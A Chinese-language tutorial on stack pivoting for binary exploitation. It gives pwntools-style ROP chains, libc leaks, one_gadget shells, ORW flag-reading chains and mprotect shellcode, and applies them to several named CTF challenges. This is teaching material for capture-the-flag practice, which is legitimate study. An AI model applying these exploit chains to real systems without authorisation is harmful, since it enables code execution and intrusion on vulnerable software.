栈迁移(Stack Pivoting)进阶
字数 1036 2025-08-20 18:18:15
栈迁移(Stack Pivoting)进阶技术详解
一、栈迁移基础概念
栈迁移(Stack Pivoting)是一种在漏洞利用中常见的技术,用于改变栈的正常行为,特别是在缓冲区溢出等安全漏洞的情况下。其核心在于修改栈指针(如x86架构中的ESP/RSP寄存器)的值,使其指向攻击者控制的数据区域。
关键要点:
- 实际应用中常通过劫持ebp和esp将栈劫持到bss段
- 核心是利用
leave, ret这段gadget leave指令等价于mov esp,ebp; pop ebp;ret指令等价于pop eip(弹出栈顶数据给eip寄存器)
二、基本栈迁移利用技术
2.1 基础利用模式
bss6 = 0x601000+0x600
pl = b'a'*0x20 + p64(bss6) + p64(read) # rbp=bss6 -> rax=bss6+(-0x20)
p.send(pl)
2.2 栈平衡调整
初始尝试后,read会往后执行走向结束,rsp未被控制,需要调整:
pl = b'a'*0x20 + p64(bss6+0x20) + p64(read) # 第二次read,调整rsp
p.send(pl)
2.3 ROP链构造
rsp调试正常后,可进行ROP链构造:
# puts(puts_got)
pl = p64(bss6+0x20+0x10) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
注意:
bss6+0x20基础上再加0x10(固定模板)- 后续可能需要再次调整:
pl = b'a'*0x20 + p64(bss6+0x40) + p64(read)
三、高级利用技巧
3.1 one_gadget利用
r12 = 0x000000000002f709 + libc_base
og = libc_base + 0xe3afe
pl = p64(0) + p64(r12) + p64(0) + p64(og)
p.send(pl)
one_gadget约束条件:
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
3.2 沙盒绕过技术
当存在沙盒限制时,需要使用ORW(Open-Read-Write)技术:
# 获取libc地址后构造ORW链
pl = p64(bss+0x130) + p64(rdi) + p64(0) + p64(rsi_r15) + p64(0x601200) + p64(0x40) + p64(read_addr) + p64(main)
p.send(pl)
pause()
p.send('flag') # 发送文件名
# 后续构造syscall链
syscall = libc_base + libc.sym['syscall']
pl = p64(0) + p64(rdi) + p64(2) + p64(rsi_r15) + p64(0x601200) + p64(0) + p64(syscall)
pl += p64(rdi) + p64(3) + p64(rsi_r15) + p64(0x601200) + p64(0x100) + p64(read_addr)
pl += p64(rdi) + p64(0x601200) + p64(puts_addr) + p64(main)
p.send(pl)
3.3 文件描述符说明
- 0:标准输入
- 1:标准输出
- 2:标准错误
- 3,4,5...:第一、二、三...个打开的文件
四、实战案例解析
4.1 move_your_heart题目利用
sla('num:\n', '286129175')
ru('gift:')
stack = int(p.recv(14),16) # 获取栈地址
# 直接栈迁移到可控区域
pl = p64(rdi) + p64(stack+0x18) + p64(system) + b'/bin/sh\x00' + p64(stack-0x8) + p64(leave_ret)
p.sendline(pl)
4.2 VN2023-Traveler题目(限制0x10大小)
# 两次leave_ret调整栈
pl = b'a'*0x20 + p64(stack) + p64(read) #1
pl = b'a'*0x20 + p64(stack+0x20) + p64(read) #2
# 泄露libc
pl = p64(stack+0x20+0x10) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
# 获取新栈地址后再次调整
pl = b'a'*0x20 + p64(stack0) + p64(read) #4
pl = b'a'*0x20 + p64(stack0+0x20) + p64(read) #5
# 最终one_gadget利用
pl = p64(0) + p64(r12) + p64(0) + p64(og)
4.3 西湖论剑-Message Board题目
# 格式字符串泄露栈地址
ru('name:\n')
sl('%28$p')
stack_addr = int(p.recv(14),16)-0x1a0
# 两次leave_ret矫正rsp
payload = p64(stack_addr+0xb0+0x28)
payload += p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(0x401378)
payload = payload.ljust(0xb0,b'\0')
payload += p64(stack_addr) + p64(0x4012e0)
# ORW构造
orw = p64(pop_rdi) + p64(stack_addr+0xd0) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(elf.bss()+0x800) + p64(pop_rdx) + p64(0x50) + p64(elf.plt["read"])
orw += p64(pop_rdi) + p64(elf.bss()+0x800) + p64(elf.plt["puts"])
orw = orw.ljust(0xa8,b'\0') + b'./flag\x00\x00'
orw += p64(stack_addr+0x28-8) + p64(0x4012e0)
4.4 mprotect+shellcode技术
mp = p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx) + p64(7) + p64(mproetct)
mp += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss+0x600) + p64(pop_rdx) + p64(0x300) + p64(elf.plt["read"])
mp += p64(bss+0x600)
mp = mp.ljust(0xb0,b'\0')
mp += p64(stack_addr+0x28-8) + p64(0x4012e0)
p.send(mp)
# 发送shellcode
sc = asm(shellcraft.cat(b"./flag"))
p.send(sc)
五、关键调试技巧
- 使用gdb附加调试:
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
- 常用gadget收集:
pop rdi; ret;pop rsi; pop r15; ret;pop rdx; ret;leave; ret;
- 地址泄露技巧:
- 使用puts泄露got表地址
- 格式字符串泄露栈地址
六、总结
栈迁移技术要点:
- 理解
leave; ret指令的作用 - 掌握栈平衡调整方法
- 熟练使用ROP链构造
- 根据题目限制选择合适的利用方式(one_gadget/ORW/shellcode等)
- 注意文件描述符的使用和传递
通过反复练习不同场景下的栈迁移利用,可以逐步掌握这一高级漏洞利用技术。实际应用中需要根据题目具体环境和保护机制灵活调整利用策略。